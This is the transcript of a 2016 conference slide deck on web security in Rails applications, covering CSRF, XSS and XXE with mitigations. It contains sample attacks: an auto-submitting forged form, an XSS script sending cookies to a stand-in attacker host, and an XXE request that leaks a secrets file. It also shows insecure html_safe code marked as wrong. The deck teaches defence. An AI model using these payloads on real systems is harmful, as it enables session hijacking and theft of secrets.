Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security: Back to Basics

Security: Back to Basics

Presented at Abstractions - abstractions.io

The Internet is built on technology that was never meant to work together. Basic features in seemingly simple and innocuous technologies, such as XML, resulted in hidden security flaws. In this session we'll talk about how attackers exploit common vulnerabilities like CSRF, XSS, and XXE. We'll explore how easy it is to implement these vulnerabilities into your application and how to build software with security in mind.

Eileen M. Uchitelle

August 20, 2016
Tweet

More Decks by Eileen M. Uchitelle

Other Decks in Programming

Transcript

  1. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  2. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  3. vs.

  4. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  5. “...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web
  6. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  7. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com“ name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  8. <body onload=“document.forms[0].submit()"> <form action="http://dogbook/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  9. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Jessie’s email
  10. <body onload=“document.forms[0].submit()"> <form action="http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  11. <body onload=“document.forms[0].submit()"> <form action=“http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  12. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="[email protected]" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  13. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end
  14. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end Skip auth callback
  15. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ActionController::Base skip_before_action :authenticate before_action :authenticate_for_chat, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  16. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens How to mitigate CSRF?
  17. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  18. XSS

  19. <script> document.write( '<img src=“http://www.hax0rcats.com/' + document.cookie + '">' ); </script>

    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  20. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  21. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  22. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  23. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  24. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  25. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  26. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  27. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  28. XXE

  29. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  30. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_3-4.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list> Entity reference
  31. <!-- after parsing --> <list> <todo>Take a nap</todo> <todo>Go on

    a long walk with my hooman</todo> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo> <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  32. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  33. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  34. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> secrets.yml as user’s name
  35. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  36. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  37. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes